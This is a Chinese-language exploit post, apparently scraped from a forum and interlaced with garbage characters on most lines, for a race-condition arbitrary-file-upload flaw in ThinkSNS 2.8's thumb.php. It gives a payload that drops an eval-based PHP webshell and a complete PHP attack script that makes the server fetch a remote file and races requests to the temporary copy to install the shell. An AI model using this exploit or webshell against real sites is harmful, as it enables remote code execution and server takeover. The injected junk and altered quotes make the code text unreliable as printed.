漏洞版本
+ i4 U+ S/ W, Y存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过); T+ |4 d) h/ ~ u' J+ E- n
漏洞文件
8 R9 |+ |# q% I" ~/ x. }' c存在漏洞的文件为:thumb.php
5 u; w3 Q, X! ]4 r作者:韦鲲鹏
) ]) B) n- T( j& T$ {1、 准备如下PHP文件并上传到服务器(自己的)。& U) Y% T' u; G" \+ d' w. l
文件内容如下:
1 T( o9 G/ i6 q7 e<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. J3 _9 j; R2 o* j' K1 l2、 计算出临时的文件名:+ b1 H. w# ~+ V, z$ M( A
这里我们可以看文件的99行(刚刚是不是没注意呀!)。5 g. D% Y; E. U/ `' W+ s
1 a1 k2 Y$ _. u1 N ^3、 上传临时文件。
- i3 J" T) `$ a( x* r4、 访问临时文件。) j+ ~- l5 P; I$ {
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
9 o5 d4 m% x$ P2 PExploit文件内容如下:(这个我就不详细解释了)
- X7 p$ Y$ g0 }1 u2 T<?php
9 v# F5 i4 r" g" [- c1 f4 Q& qerror_reporting(0);
: f' g/ _" _- [% bset_time_limit(0);
A0 L4 {% B \ini_set(“default_socket_timeout”, 5);
; p; Y0 K7 g. J' |- yfunction http_send($host, $port, $headers) {& F( Y% B' c! m2 `
$fp = fsockopen($host, $port);
7 e. H4 e0 j* h& X2 h9 {1 [if (!$fp) die(‘Connection -> fail’);
1 e- H4 U$ K! m' U7 A0 b" Rfputs($fp, $headers);5 b& _3 l @2 d5 k9 i
return $fp;+ B6 u ^" @( h+ {7 e
}' e. }: D4 a+ ]; X4 w/ U
function http_recv($fp) {+ {. a+ L t5 s
$ret=”";
( g7 J- E% B" m- Iwhile (!feof($fp))9 H6 I" o5 W; W" W
$ret.= fgets($fp, 1024);- F9 _6 m8 j1 f4 e t
fclose($fp);' I4 v4 X( a, B
return $ret;1 m9 j( Z) U9 Z" @- _5 N
}. G% U$ T3 m; e' {% o) W6 }
print “\n# ThinkSns Arbitrary File Upload #\n”;
- H7 Q. x- h: A, ]print “# Discovered by 韦鲲鹏 #\n\n”;
V! h: x" V3 \if ($argc < 4) {/ y2 P& G' N7 k+ ~2 d* j
print “Usage: php <host> <path> <romote_url>\n”;
7 d* G5 s I3 y8 \$ y1 s# ]" P% p8 Qprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
+ ?/ q0 @/ R! K$ s6 `1 zdie();- d# P- p4 Q$ j8 i5 t
}
) G% W, v% t8 s! Y8 ^+ s# d1 ? e7 O$host = $argv[1];
7 Q! B$ a6 ^8 M- ^' _$path = $argv[2];
2 T) u# }0 g- y/ \$url = $argv[3];
7 D; f1 b6 E7 U- _$i=0;, P, x0 e7 F: h" @
//上传数据包, {3 i; d4 @1 ?6 e/ c
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;& i) P6 F- p' ~$ v8 s) U& i
$headers_up .= “Host: “.$host.”\r\n”;1 r+ f" C! m: A9 K8 `: [& i
$headers_up .= “Connection: close\r\n\r\n”;
' }9 l% \# V' E3 W: _echo $headers_up;
$ G, N3 Q+ U/ V& U5 G. `//临时文件访问数据包- H3 ]' J+ Y! y; j
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
9 ^3 L- n D3 J0 G" p, \$headers .= “Host: “.$host.”\r\n”;8 u% m ~4 I* U6 X" l
$headers .= “Connection: close\r\n\r\n”;
; r9 D9 O4 p: C' Y( t+ Cecho $headers;
" a) H& `6 z% jwhile(++$i<10) {
' \9 X" {; G6 K2 X; Q- ?fclose(http_send($host, 80, $headers));
, S6 b. [& S# C8 b$ N, r0 a}
1 t' U/ g0 a8 N& Afclose(http_send($host, 80, $headers_up));# z% T& f- j* b8 X) N
while(++$i<50) {5 i8 y" ~( s$ [" K( x$ T
fclose(http_send($host, 80, $headers));
9 `2 f/ P, @6 Y# R9 K `}
8 h( u! E+ B% ]2 S% c$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
3 X* E. B5 ^* L5 [$headers .= “Host: “.$host.”\r\n”;7 M( O) k* T2 g7 r5 H# S, ?; F7 t
$headers .= “Connection: close\r\n\r\n”;" ^ T) Y) u+ u2 X8 l
$res=http_recv(http_send($host, 80, $headers));
0 P) V6 N3 Y6 A5 y' ~* ^7 uif(preg_match(‘/200 OK/’,$res)) {
' t: s% w1 o# i/ {$ u& O8 Hprint “Success!\n\n”;$ X F* \' y' o2 @
} else {
5 F, ?( K+ R4 h/ _% l6 [; \6 oprint “Fail!\n\n”;" T" q. n& u% c0 I N5 J& ^% d
}3 i/ g+ i/ M: Y6 n. y
?>% ~# ^* C6 [1 h/ h' D/ P" o
|